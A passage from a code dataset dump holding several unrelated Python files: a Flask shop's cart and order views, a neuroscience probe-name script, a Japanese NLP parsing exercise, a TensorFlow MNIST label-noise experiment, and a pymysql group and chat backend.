render_template('mall/mallCart.html',carts=carts,m1=m1,m2=m2,m3=m3,keys=keys,chamount=chamount,amount=amount,g=g,moduleid=4,mlikes=mlikes)\n\n\n@app.route('/mall/order', methods = ['GET','POST'])\n@login_required\ndef mallOrder():\n if not g.islogin:\n return redirect(url_for('login'))\n cart = MallCart.query.get(g.user.id)\n key = cart.data.split(',')\n tamount = cart.amounts.split(',')\n orders = []\n m1={}\n m2={}\n m3={}\n keys={}\n number={}\n i = 0\n alist = []\n for v in key:\n tmp = v.split('-')\n mall = Mall.query.get(int(tmp[0]))\n orders.append(mall)\n if mall.n1:\n m1[mall.id] = mall.v1.split('|')[int(tmp[1])]\n else:\n m1[mall.id] = 'WU'\n if mall.n2:\n m2[mall.id] = mall.v2.split('|')[int(tmp[2])]\n else:\n m2[mall.id] = 'WU'\n if mall.n3:\n m3[mall.id] = mall.v3.split('|')[int(tmp[3])]\n else:\n m3[mall.id] = 'WU'\n number[mall.id] = tamount[i]\n keys[mall.id]=v\n\n maylikeids = History.query.filter(History.data.like('%'+str(mall.id)+'%')).all() \n for v in maylikeids:\n tmp = v.data.split(',')\n alist += tmp\n\n i += 1\n\n if alist:\n alist = list(set(alist))\n mlikes = Mall.query.filter(Mall.id.in_(alist)).all()\n else:\n mlikes = None\n\n address = Address.query.filter_by(username=g.user.username).all()\n send_types = [u'顺丰快递',u'圆通快递']\n return render_template('mall/mallOrder.html',g=g,moduleid=4,m1=m1,m2=m2,m3=m3,keys=keys,number=number,orders=orders,address=address,send_types=send_types,mlikes=mlikes)\n\n@app.route('/mall/buy', methods = ['POST'])\n@login_required\ndef mallBuy():\n cart = MallCart.query.get(g.user.id)\n if cart:\n datas = cart.data.split(',')\n amounts = cart.amounts.split(',')\n i = 0\n for v in datas:\n tmp = v.split('-')\n order = MallOrder()\n order.mallid = MyInt(tmp[0])\n order.buyer = g.user.username\n mall = Mall.query.get(order.mallid)\n order.title = mall.title\n order.thumb = mall.thumb\n order.price = mall.price if mall.proprice == 0.00 else mall.proprice\n order.number = amounts[i]\n order.amount = float(order.price) * MyInt(order.number)\n\n truename = MyRequest.getParams('truename')\n if not truename:\n return render_template('common/message.html',hmessage = u'请填写姓名!',siteName = siteName,htime=10,hforward = '/mall/order')\n order.buyer_name = truename\n\n address = MyRequest.getParams('address')\n if not address:\n return render_template('common/message.html',hmessage = u'请填写收货地址',siteName = siteName,htime=10,hforward = '/mall/order')\n order.buyer_address = address\n\n postcode = MyRequest.getParams('postcode')\n if not postcode:\n return render_template('common/message.html',hmessage = u'请填写邮编',siteName = siteName,htime=10,hforward = '/mall/order')\n order.buyer_postcode = postcode\n\n telephone = MyRequest.getParams('telephone')\n order.buyer_phone = telephone if telephone else ''\n\n mobile = MyRequest.getParams('mobile')\n if not mobile:\n return render_template('common/message.html',hmessage = u'请填写手机号',siteName = siteName,htime=10,hforward = '/mall/order')\n order.buyer_mobile = mobile\n\n receive = MyRequest.getParams('receive')\n if not receive:\n return render_template('common/message.html',hmessage = u'请填写快递',siteName = siteName,htime=10,hforward = '/mall/order')\n order.buyer_receive = receive\n\n order.addtime = g.siteTime\n order.updatetime = g.siteTime\n p1 = get_nv(mall.n1,mall.v1)\n p2 = get_nv(mall.n2,mall.v2)\n p3 = get_nv(mall.n3,mall.v3)\n ptmp = ''\n if p1:\n ptmp += ','+p1[tmp[1]]\n if p2:\n ptmp += ','+p2[tmp[2]]\n if p1:\n ptmp += ','+p3[tmp[3]]\n order.note = MyRequest.getParams('post_'+v+'_note')+ptmp\n db.session.add(order)\n i += 1\n db.session.delete(cart)\n db.session.commit()\n return render_template('mall/mallBuy.html',g=g,moduleid=4)\n\n\n@app.route('/mall/pay', methods = ['GET','POST'])\n@login_required\ndef mallPay():\n return render_template('mall/mallPay.html',g=g,moduleid=4)\n\n\n@app.route('/mall/favorite', methods = ['GET','POST'])\ndef mallFavorite():\n if MyRequest.isPost():\n if not g.islogin:\n return '-4'\n itemid = MyInt(MyRequest.getParams('itemid'))\n if not itemid:\n return '-2'\n favo = Favorite.query.filter_by(userid=g.user.id).filter_by(mallid=itemid).first()\n if favo:\n return '-3'\n favo = Favorite()\n favo.userid = g.user.id\n favo.mallid = itemid\n favo.addtime = g.siteTime\n db.session.add(favo)\n db.session.commit()\n return '0'\n return redirect(url_for('index'))\n\n\n@app.route('/mall/question', methods = ['GET','POST'])\n@login_required\ndef mallQuestion():\n if MyRequest.isPost():\n que_mallid = MyInt(MyRequest.getParams('que_mallid'))\n if not que_mallid:\n return render_template('common/message.html',hmessage = u'请选择商品',siteName = siteName,htime=10,hforward = url_for('mallShow',id=int(que_mallid)) )\n result = MallQuestion.query.filter_by(username=g.user.username).filter_by(mallid=int(que_mallid)).first()\n if result:\n return redirect(url_for('mallShow',id=int(que_mallid)))\n que_content = MyRequest.getParams('que_content')\n if not que_content:\n return render_template('common/message.html',hmessage = u'请填写商品提问内容',siteName = siteName,htime=10,hforward = url_for('mallShow',id=int(que_mallid)) )\n que = MallQuestion()\n que.mallid = que_mallid\n que.username = g.user.username\n que.question = que_content\n que.addtime = g.siteTime\n que.status = 1\n db.session.add(que)\n mall = Mall.query.get(int(que_mallid))\n if not mall:\n return redirect(url_for('mallShow',id=int(que_mallid)))\n mall.questions += 1\n db.session.commit()\n return redirect(url_for('mallShow',id=int(que_mallid)))\n return redirect(url_for('index'))\n\n\n@app.route('/mall/opCart', methods = ['GET','POST'])\ndef mallOpCart():\n if not g.islogin:\n return '-1'\n if MyRequest.isPost():\n key = MyRequest.getParams('key')\n action = MyRequest.getParams('action')\n if action == 'chageValue':\n cart = MallCart.query.get(g.user.id)\n value = MyRequest.getParams('value')\n if cart:\n datas = cart.data.split(',')\n amounts = cart.amounts.split(',')\n else:\n datas = None\n if datas:\n i = 0\n for v in datas:\n if v == key:\n amounts[i]=value\n cart.amounts = ','.join(amounts)\n db.session.commit()\n return 'good'\n if action == 'move':\n cart = MallCart.query.get(g.user.id)\n if cart:\n datas = cart.data.split(',')\n amounts = cart.amounts.split(',')\n else:\n datas = None\n if datas:\n i = 0\n for v in datas:\n if v == key:\n del datas[i]\n del amounts[i]\n if len(datas) == 0:\n db.session.delete(cart)\n cart.data = ','.join(datas)\n cart.amounts = ','.join(amounts)\n db.session.commit()\n return str(len(datas))\n return 'good'\n","sub_path":"mavairo/pyb2c/app/views/mall.py","file_name":"mall.py","file_ext":"py","file_size_in_byte":16533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"274084891","text":"import os, argparse\nabspath = os.path.abspath(__file__)\ndname = os.path.dirname(abspath)\nos.chdir(dname)\nfrom pprint import pprint\nfrom functions import data_manip\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--patient', action='append', default=[])\nargs=parser.parse_args()\n\npatients = ['patient_' + p for p in args.patient]\n\ndef get_names(patient, micro_macro):\n path2channel_names = os.path.join('..', '..', 'Data', 'UCLA', patient, 'Raw', micro_macro, 'CSC_mat', 'channel_numbers_to_names.txt')\n try:\n with open(path2channel_names, 'r') as f:\n channel_names = f.readlines()\n channel_names = [l.strip().split('\\t')[1] for l in channel_names]\n if micro_macro == 'micro':\n channel_names.pop(0) # remove MICROPHONE line\n channel_names = [s[4::] for s in channel_names] # remove prefix if exists (in micro: GA1-, GA2-, etc)\n channel_names = [s[:-5] for s in channel_names] # remove file extension and electrode numbering (e.g., LSTG1, LSTG2, LSTG3) \n if (micro_macro == 'macro') & (patient == 'patient_502'):\n channel_names = [name for name in channel_names if name not in ['ROF', 'RAF']] # 502 has more macro than micro see Notes/log_summary.txt (March 2020)\n print('Macros also include ROF and RAF - see Notes/log_summary.txt (2020Mar02)')\n except:\n print('!!! - Missing %s channel-name files for %s' % (micro_macro, patient))\n return\n return sorted(list(set(channel_names)))\n\n\n# MAIN\n\nnames_from_all_patients = []\nfor patient in patients:\n names_micro = get_names(patient, 'micro')\n names_macro = get_names(patient, 'macro')\n\n print('%s' % patient)\n if (names_micro is not None) & (names_macro is not None):\n if set(names_micro) != set(names_macro):\n print('!!! - Micro and macro electrode names are not the same - !!!')\n print('micro:', names_micro)\n print('macro:', names_macro)\n else:\n print(names_micro)\n names_from_all_patients.extend(names_micro)\n else:\n print('micro:', names_micro)\n print('macro:', names_macro)\n print('-'*100)\n\nx = {}\nprobes = data_manip.get_probes2channels(patients)\nfor probe in probes['probe_names'].keys():\n if 'patients' in probes['probe_names'][probe].keys():\n x[probe] = ' '.join(probes['probe_names'][probe]['patients'])\ndict_names = {k: v for k, v in sorted(x.items(), key=lambda item: len(item[1].split()), reverse=True)}\n[print('%s (%i):%s'%(k,len(v.split()),v)) for (k,v) in dict_names.items()]\n\n#x = {name:names_from_all_patients.count(name) for name in names_from_all_patients}\n#dict_names = {k: v for k, v in sorted(x.items(), key=lambda item: item[1], reverse=True)}\n#[print('%s:%i'%(k,v)) for (k,v) in dict_names.items()]\n#pprint(dict_names)\n#pprint(probes)\n","sub_path":"Code/Main/get_probe_names.py","file_name":"get_probe_names.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"551588933","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\n\"\"\"\nQ46\n45のプログラムを改変し,述語と格パターンに続けて項(述語に係っている文節そのもの)をタブ区切り���式で出力せよ.45の仕様に加えて,以下の仕様を満たすようにせよ.\n\n項は述語に係っている文節の単語列とする(末尾の助詞を取り除く必要はない)\n述語に係る文節が複数あるときは,助詞と同一の基準・順序でスペース区切りで並べる\n\n「吾輩はここで始めて人間というものを見た」という例文(neko.txt.cabochaの8文目)を考える. この文は「始める」と「見る」の2つの動詞を含み,「始める」に係る文節は「ここで」,「見る」に係る文節は「吾輩は」と「ものを」と解析された場合は,次のような出力になるはずである.\n\n始める で ここで\n見る は を 吾輩は ものを\n\n文節を表すクラスChunk.このクラスは形態素(Morphオブジェクト)のリスト(morphs),係り先文節インデックス番号(dst),係り元文節インデックス番号のリスト(srcs)をメンバ変数に持つこととする.\n\"\"\"\n\n\nfrom ans41c import f_41\n\nessay = f_41()\n\n# essay[5] が例文\n#essay = essay[5:6]\n\n\nforout = \"\"\nfor sentence in essay :\n for chunks in sentence :\n pos_list = [s.pos for s in chunks.morphs]\n if \"動詞\" in pos_list:\n zyutugo =[s.base for s in chunks.morphs if s.pos == \"動詞\"][0]\n #dicは 1述語にひとつ sortの順番を合わせるため\n dic = {}\n kaku =[]\n kou = []\n for src in chunks.srcs:\n moto = sentence[src]\n if \"助詞\" in [m.pos for m in moto.morphs]:\n #key=項 value = 格\n dic[\"\".join([m.surface for m in moto.morphs])] = [m.base for m in moto.morphs if m.pos ==\"助詞\"][-1]\n for k, v in sorted(dic.items(), key=lambda x:x[1]):\n kaku.append(v)\n kou.append(k)\n print(zyutugo, \"\\t\", \" \".join(kaku), \"\\t\", \" \".join(kou))\n\n\n\"\"\"\nhttp://blog.livedoor.jp/yawamen/archives/51492355.html\nlambda ってなんだ??\n\"\"\"\n","sub_path":"40_49/ans46c.py","file_name":"ans46c.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"243983242","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport sys\nimport os\nimport tempfile\nimport random\nfrom tensorflow.examples.tutorials.mnist import input_data\nfrom IPython import embed\nimport tensorflow as tf\nimport numpy as np\n\ndef deepnn(x,out_dim=10):\n with tf.name_scope('reshape'):\n x_image=tf.reshape(x,[-1,28,28,1])\n\n with tf.name_scope('conv1'):\n W_conv1=weight_variable([5,5,1,32])\n b_conv1=weight_variable([32])\n h_conv1=tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)\n\n with tf.name_scope('pool1'):\n h_pool1 = max_pool_2x2(h_conv1)\n\n with tf.name_scope('conv2'):\n W_conv2 = weight_variable([5, 5, 32, 64])\n b_conv2 = bias_variable([64])\n h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\n\n with tf.name_scope('pool2'):\n h_pool2 = max_pool_2x2(h_conv2)\n\n with tf.name_scope('fc1'):\n W_fc1 = weight_variable([7 * 7 * 64, 1024])\n b_fc1 = bias_variable([1024])\n h_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*64])\n h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\n\n with tf.name_scope('dropout'):\n keep_prob = tf.placeholder(tf.float32)\n h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n\n with tf.name_scope('fc2'):\n W_fc2 = weight_variable([1024, out_dim])\n b_fc2 = bias_variable([out_dim])\n y_conv = tf.matmul(h_fc1_drop, W_fc2) + b_fc2\n\n return y_conv, keep_prob\n\ndef conv2d(x, W):\n \"\"\"conv2d returns a 2d convolution layer with full stride.\"\"\"\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n\ndef max_pool_2x2(x):\n \"\"\"max_pool_2x2 downsamples a feature map by 2X.\"\"\"\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1], padding='SAME')\n\ndef weight_variable(shape):\n \"\"\"weight_variable generates a weight variable of a given shape.\"\"\"\n initial = tf.truncated_normal(shape, stddev=0.1)\n return tf.Variable(initial)\n\ndef bias_variable(shape):\n \"\"\"bias_variable generates a bias variable of a given shape.\"\"\"\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n\ndef main():\n drop_prob=args.drop_prob\n mistake_rate=args.mistake\n batch_size=50\n num_label=10\n dump=open(args.file,'a')\n dump.write('#configure: vector=False,batch_size=%d,drop_prob=%.4f,mistake_rate=%.4f\\n'%(batch_size,drop_prob,mistake_rate))\n ######################################################################\n mnist = input_data.read_data_sets(args.data_dir, one_hot=True)\n # mistake mnist\n mistake_num=int(mistake_rate*len(mnist.train.labels))\n m_inds=random.sample(list(range(len(mnist.train.labels))),mistake_num)\n for m_ind in m_inds:\n origin_label=mnist.train.labels[m_ind]\n origin_label=np.argmax(origin_label)\n mnist.train.labels[m_ind][origin_label]=0\n all_labels=list(range(num_label))\n all_labels.remove(origin_label)\n m_label=np.random.choice(all_labels)\n mnist.train.labels[m_ind][m_label]=1\n\n x = tf.placeholder(tf.float32, [None, 784])\n y_ = tf.placeholder(tf.float32, [None, 10])\n y_conv, keep_prob = deepnn(x,out_dim=10)\n with tf.name_scope('loss'):\n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=y_,logits=y_conv)\n cross_entropy = tf.reduce_mean(cross_entropy)\n with tf.name_scope('adam_optimizer'):\n train_step = tf.train.AdamOptimizer(args.lr).minimize(cross_entropy)\n with tf.name_scope('accuracy'):\n correct_prediction = tf.equal(tf.argmax(y_conv, 1), tf.argmax(y_, 1))\n correct_prediction = tf.cast(correct_prediction, tf.float32)\n accuracy = tf.reduce_mean(correct_prediction)\n saver=tf.train.Saver()\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for i in range(args.num_iter):\n batch = mnist.train.next_batch(batch_size)\n np_labels=batch[1].copy()\n if i % 100 == 0:\n train_accuracy = accuracy.eval(feed_dict={\n x: batch[0], y_: np_labels, keep_prob: 1.0})\n dump.write('step %d, training accuracy %g\\n' % (i, train_accuracy))\n print('step %d, training accuracy %g' % (i, train_accuracy))\n if i%1000==0:\n dump.write('\\ni=%d,test_acc=%g\\n\\n' % (i,accuracy.eval(feed_dict={\n x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0})))\n print('i=%d,test accuracy %g' % (i,accuracy.eval(feed_dict={\n x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0})))\n\n train_step.run(feed_dict={x: batch[0], y_: np_labels, keep_prob:drop_prob})\n print('Saving model...')\n saver.save(sess,'model/basic_',global_step=i)\n dump.write('\\ni=%d,test_acc=%g\\n\\n' % (i,accuracy.eval(feed_dict={\n x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0})))\n print('i=%d,test accuracy %g' % (i,accuracy.eval(feed_dict={\n x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0})))\n\ndef print_mnist(x):\n for i in range(28):\n for j in range(28):\n if x[i*28+j]>0:\n print(1,end='')\n else:\n print(0,end='')\n print()\n\n# vector algorithm\ndef vector_loss():\n debug_mode=False\n out_dim=args.out_dim\n num_label=10\n batch_size=50\n drop_prob=args.drop_prob\n mistake_rate=args.mistake\n if args.dynamic_lr:\n lr=args.lr*float(num_label)/float(out_dim)\n else:\n lr=args.lr\n dump=open(args.file,'a')\n dump.write('#configure: vector=True,out_dim=%d,batch_size=%d,drop_prob=%.4f,mistake_rate=%.4f,dynamic_lr=%d\\n'%(out_dim,batch_size,drop_prob,mistake_rate,args.dynamic_lr))\n #################################################################\n mnist = input_data.read_data_sets(args.data_dir, one_hot=False)\n\n #-------------------------------------------------------------------#\n mistake_num=int(mistake_rate*len(mnist.train.labels))\n m_inds=random.sample(list(range(mnist.train.labels)),mistake_num)\n if debug_mode: assert len(m_inds)==batch_size,str(m_inds)\n for m_ind in m_inds:\n origin_label=mnist.train.labels[m_ind]\n all_labels=list(range(num_label))\n all_labels.remove(origin_label)\n m_label=np.random.choice(all_labels)\n mnist.train.labels[m_ind]=m_label\n #----------------------------------------------------------------------#\n\n x = tf.placeholder(tf.float32, [None, 784])\n y_ = tf.placeholder(tf.float32, [None, out_dim])\n y_conv, keep_prob = deepnn(x,out_dim=out_dim)\n if args.random:\n print('Using random gradient')\n loss=tf.nn.l2_loss(tf.random_uniform([out_dim],minval=0.1,maxval=1)*(y_conv-y_))\n else:\n print('Not using random gradient')\n loss=tf.nn.l2_loss(y_conv-y_)\n with tf.name_scope('adam_optimizer'):\n train_step = tf.train.AdamOptimizer(lr).minimize(loss)\n saver=tf.train.Saver()\n num_peer=int(out_dim/num_label) # how many value does one label have\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for i in range(args.num_iter):\n batch = mnist.train.next_batch(batch_size)\n np_labels=batch[1].copy()\n ############################################################################\n # choose inds\n input_np_labels=np.zeros([batch_size,out_dim])\n for batch_ind in range(batch_size):\n cur_label=np_labels[batch_ind]\n input_np_labels[batch_ind,cur_label*num_peer:(cur_label+1)*num_peer]=1\n if debug_mode:\n if np.argmax(input_np_labels[batch_ind])==batch[1][batch_ind]:embed();exit()\n if i % 100 == 0:\n y_conv_val=sess.run(y_conv,feed_dict={\n x: batch[0], keep_prob: 1.0})\n # get acc\n train_acc=0\n #print('label:',np_labels[0]);print('out:',y_conv_val[0]);raw_input()\n for batch_ind in range(batch_size):\n max_feature=0\n cur_label=0\n for label_ind in range(num_label):\n cur_label_sum=np.sum(y_conv_val[batch_ind,label_ind*num_peer:(label_ind+1)*(num_peer)])\n if cur_label_sum>max_feature:\n cur_label=label_ind\n max_feature=cur_label_sum\n if cur_label==np_labels[batch_ind]:\n train_acc+=1\n print('i=%d,acc=%.4f'%(i,train_acc/batch_size))\n dump.write('i=%d,acc=%.4f\\n'%(i,train_acc/batch_size))\n if i%1000==0:\n test_num=len(mnist.test.images)\n test_out=sess.run(y_conv,feed_dict={\n x: mnist.test.images, keep_prob: 1.0})\n test_labels=mnist.test.labels\n test_acc=0\n for batch_ind in range(test_num):\n max_feature=0\n cur_label=0\n for label_ind in range(num_label):\n cur_label_sum=np.sum(test_out[batch_ind,label_ind*num_peer:(label_ind+1)*(num_peer)])\n if cur_label_sum>max_feature:\n cur_label=label_ind\n max_feature=cur_label_sum\n if cur_label==test_labels[batch_ind]:\n test_acc+=1\n #print('label:',test_labels[0]);print(test_out[0]);embed()\n dump.write('\\ni=%d,test_acc=%.4f\\n\\n'%(i,test_acc/test_num))\n print('i=%d,test_acc=%.4f'%(i,test_acc/test_num))\n #print('embed just before training');embed();exit()\n if debug_mode and i%100==0:\n same_count=0\n for ind in range(batch_size):\n true_label=batch[1][ind]\n input_label=np.argmax(input_np_labels[ind])\n if true_label==input_label:\n same_count+=1\n print('same count:',same_count)\n train_step.run(feed_dict={x: batch[0], y_: input_np_labels, keep_prob: drop_prob})\n print('Saving model...')\n saver.save(sess,'model/vector_',global_step=i)\n print('preparing to calculate test acc')\n test_num=len(mnist.test.images)\n test_out=sess.run(y_conv,feed_dict={\n x: mnist.test.images, keep_prob: 1.0})\n test_labels=mnist.test.labels\n test_acc=0\n for batch_ind in range(test_num):\n max_feature=0\n cur_label=0\n for label_ind in range(num_label):\n cur_label_sum=np.sum(test_out[batch_ind,label_ind*num_peer:(label_ind+1)*(num_peer)])\n if cur_label_sum>max_feature:\n cur_label=label_ind\n max_feature=cur_label_sum\n if cur_label==test_labels[batch_ind]:\n test_acc+=1\n dump.write('\\ntest_acc=%.4f\\n\\n'%(test_acc/test_num))\n dump.close()\n print('i=%d,acc=%.4f'%(i,test_acc/test_num))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_dir', type=str,\n default='data',\n help='Directory for storing input data')\n parser.add_argument('-vector',action='store_true',help='use vector algorithm instead of scalar.')\n parser.add_argument('-out_dim',type=int,default=100,help='specify output dimension, note that has to be times of 10.')\n parser.add_argument('-drop_prob',type=float,default=1.,help='specify dropout probability')\n parser.add_argument('-mistake',type=float,default=0.,help='specify mistake rate')\n parser.add_argument('-gpu',type=str,default='',help='Specify gpu to use')\n parser.add_argument('-file',type=str,default='experiment',help='specify the name to write experiment result')\n parser.add_argument('-lr',type=float,default=0.0001,help='specify learning rate')\n parser.add_argument('-dynamic_lr',action='store_true',help='specify to open dynamic learning rate mode on')\n parser.add_argument('-random',action='store_true',help='specify whether enable random gradient')\n parser.add_argument('-num_iter',type=int,default=30000,help='specify max iter')\n args=parser.parse_args()\n if args.gpu!='':\n os.environ[\"CUDA_VISIBLE_DEVICES\"]=args.gpu\n # closure get command-line args\n if args.vector:\n vector_loss()\n else:\n main()\n #tf.app.run(main=main, argv=[sys.argv[0]] + unparsed)\n #tf.app.run(main=vector_loss, argv=[sys.argv[0]] + unparsed)\n","sub_path":"mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":12782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"532328345","text":"import pymysql\nimport json\nimport os\nimport uuid\nimport time\nimport datetime\nfrom googleapiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\nfrom apiclient.discovery import build\n\ndef updateGoogleEvents(events, refreshToken, userID):\n googleKey = os.environ[\"googleKey\"]\n googleSecret = os.environ[\"googleSecret\"]\n credentials = oauth2client.client.GoogleCredentials(None, googleKey, googleSecret, refreshToken, None,\"https://accounts.google.com/o/oauth2/token\", 'syllashare.com')\n http = httplib2.Http()\n http = credentials.authorize(http)\n service = build('calendar', 'v3', http=http)\n for event in events:\n googleEvent = {\n 'summary': event.name,\n 'description': 'Description',\n 'start': {\n 'dateTime': datetime.utcfromtimestamp(int(event.time)).strftime('%Y-%m-%d %H:%M:%S')\n },\n 'end': {\n 'dateTime': datetime.utcfromtimestamp(int(event.time + event.mins * 60 * 1000)).strftime('%Y-%m-%d %H:%M:%S')\n },\n 'reminders': {\n 'useDefault': True\n }\n }\n event = service.events().insert(calendarId='primary', body=event).execute()\n\ndef getUser(cursor, userID):\n cursor.execute(\"\"\"SELECT u.id AS id, u.username AS username, u.first_name AS firstName, u.last_name AS lastName, u.pic_key AS picKey, \n s.name AS schoolName, s.city AS schoolCity, s.state AS schoolState, s.pic_key AS schoolPicKey\n FROM user_data_user u LEFT JOIN user_data_school s ON u.school_id=s.name\n WHERE u.id=%s\"\"\", (userID))\n for (userID, username, firstName, lastName, picKey, schoolName, schoolCity, schoolState, schoolPicKey) in cursor:\n schoolDict = None\n if (schoolName is not None):\n schoolDict = {\n \"name\": schoolName,\n \"city\": schoolCity,\n \"state\": schoolState,\n \"picKey\": schoolPicKey\n }\n return { \"id\": userID, \"username\": username, \"firstName\": firstName, \"lastName\": lastName, \"picKey\": picKey, \"school\": schoolDict }\n return None\n\ndef canRead(cursor, groupName, userID):\n cursor.execute('SELECT g.readPrivate, gu.accepted FROM Groups g LEFT JOIN GroupsToUsers gu ON g.name=gu.groupName AND gu.userID=%s WHERE g.name=%s', (userID, groupName))\n row = cursor.fetchone()\n return (not row[0] or row[1])\n\ndef canWrite(cursor, groupName, userID):\n cursor.execute('SELECT g.writePrivate, gu.accepted, gu.writable FROM Groups g LEFT JOIN GroupsToUsers gu ON g.name=gu.groupName AND gu.userID=%s WHERE g.name=%s', (userID, groupName))\n row = cursor.fetchone()\n return (not row[0] or (row[1] and row[2]))\n \ndef isInGroup(cursor, groupName, userID):\n return (cursor.execute('SELECT groupName FROM GroupsToUsers WHERE groupName=%s AND userID=%s AND accepted=1', (groupName, userID)) > 0)\n \ndef createGroup(connection, cursor, groupName, readPrivate, writePrivate, userID):\n if cursor.execute('INSERT INTO Groups VALUES (%s, %s, %s)', (groupName, str(1 if readPrivate else 0), str(1 if writePrivate else 0))) > 0:\n if cursor.execute('INSERT INTO GroupsToUsers VALUES (%s, %s, %s, %s)', (groupName, userID, str(1), str(1))) > 0:\n connection.commit()\n return { \"name\": groupName, \"readPrivate\": readPrivate, \"writePrivate\": writePrivate }\n return { \"errMsg\": \"Failed to add user into group\" }\n return { \"errMsg\": \"Failed to create group\" }\n \n \ndef joinGroup(connection, cursor, groupName, userID):\n if cursor.execute('SELECT readPrivate, writePrivate FROM Groups WHERE name=%s', (groupName)) > 0:\n row = cursor.fetchone()\n readPrivate = row[0]\n writePrivate = row[1]\n if readPrivate:\n if cursor.execute('UPDATE GroupsToUsers SET accepted=%s WHERE groupName=%s AND userID=%s', (str(1), groupName, userID)) <= 0:\n return { \"errMsg\": \"User not invited\" }\n else:\n cursor.execute('INSERT INTO GroupsToUsers VALUES (%s, %s, %s, %s) ON DUPLICATE KEY UPDATE accepted=%s', (groupName, userID, str(1), str(0 if writePrivate else 1), str(1)))\n connection.commit()\n cursor.fetchall()\n group = getGroup(connection, cursor, groupName, userID)[\"group\"]\n user = getUser(cursor, userID)\n cursor.execute(\"SELECT writable FROM GroupsToUsers WHERE groupName=%s AND userID=%s\", (groupName, userID))\n writable = cursor.fetchone()[0]\n user[\"writable\"] = writable\n return { \"group\": group, \"user\": user, \"userID\": userID, \"groupName\": groupName }\n return { \"errMsg\": \"Group not found\" }\n\n\ndef leaveGroup(connection, cursor, groupName, userID):\n group = getGroup(connection, cursor, groupName, userID)[\"group\"]\n if cursor.execute('DELETE FROM GroupsToUsers WHERE groupName=%s AND userID=%s', (groupName, userID)) > 0:\n connection.commit()\n return { \"group\": group, \"user\": getUser(cursor, userID), \"userID\": userID, \"groupName\": groupName }\n return { \"errMsg\": \"Not in or have not been invited to group\" }\n \ndef kickFromGroup(connection, cursor, groupName, kickUserID, userID):\n if canWrite(cursor, groupName, userID):\n group = getGroup(connection, cursor, groupName, userID)[\"group\"]\n if cursor.execute('DELETE FROM GroupsToUsers WHERE groupName=%s AND userID=%s', (groupName, kickUserID)) > 0:\n connection.commit()\n return { \"group\": group, \"user\": getUser(cursor, kickUserID), \"userID\": kickUserID, \"groupName\": groupName }\n return { \"errMsg\": \"Not in or have not been invited to group\" }\n return {\"errMsg\": \"Cannot kick from group you are not in\" }\n \ndef setGroupAccess(connection, cursor, groupName, setUserID, writable, userID):\n if canWrite(cursor, groupName, userID):\n if cursor.execute('UPDATE GroupsToUsers SET writable=%s WHERE groupName=%s AND userID=%s', (str(1 if writable else 0), groupName, setUserID)) <= 0:\n return { \"errMsg\": \"User not invited\" }\n connection.commit();\n return { \"userID\": setUserID, \"writable\": writable }\n return { \"errMsg\": \"You can't set access of someone in a group you're not in\" }\n \ndef inviteToGroup(connection, cursor, groupName, inviteToUserID, writable, invokerUserID):\n if canWrite(cursor, groupName, invokerUserID):\n if cursor.execute('INSERT INTO GroupsToUsers VALUES (%s, %s, %s, %s) ON DUPLICATE KEY UPDATE writable=%s', (groupName, inviteToUserID, str(0), str(1 if writable else 0), str(1 if writable else 0))) > 0:\n connection.commit()\n group = getGroup(connection, cursor, groupName, invokerUserID)[\"group\"]\n user = getUser(cursor, inviteToUserID)\n user[\"writable\"] = writable\n return { \"group\": group, \"user\": user, \"userID\": inviteToUserID, \"groupName\": groupName }\n return { \"errMsg\": \"Failed to invite user\" }\n return { \"errMsg\": \"You can't invite someone to a group you're not in\" }\n \n \ndef createChat(connection, cursor, groupName, chatName, chatSubject, userID):\n if canWrite(cursor, groupName, userID):\n chatID = uuid.uuid4()\n if cursor.execute('INSERT INTO Chats VALUES (%s, %s, %s, %s)', (str(chatID), groupName, chatName, chatSubject)) > 0:\n connection.commit()\n return { \"id\": str(chatID), \"name\": chatName, \"subject\": chatSubject, \"groupName\": groupName }\n return { \"errMsg\": \"Could not create group\" }\n return { \"errMsg\": \"User is not in group\" }\n \n \ndef createMessage(connection, cursor, chatID, text, objKey, creationEpochSecs, userID):\n #Check if user is part of group that the chat belongs to\n if cursor.execute(\"\"\"SELECT c.groupName FROM Chats c WHERE c.id=%s\"\"\", (chatID)) > 0:\n groupName = cursor.fetchone()[0]\n if canRead(cursor, groupName, userID):\n msgID = uuid.uuid4()\n if cursor.execute(\"\"\"INSERT INTO Messages VALUES (%s, %s, %s, %s, %s, %s)\"\"\", (str(msgID), chatID, text, objKey, str(creationEpochSecs), userID)) > 0:\n connection.commit()\n msg = { \"id\": str(msgID), \"text\": text, \"objKey\": objKey, \"creationEpochSecs\": creationEpochSecs, \"chatID\": chatID, \"senderID\": userID }\n return { \"message\": msg, \"sender\": getUser(cursor, userID), \"chatID\": chatID }\n return { \"errMsg\": 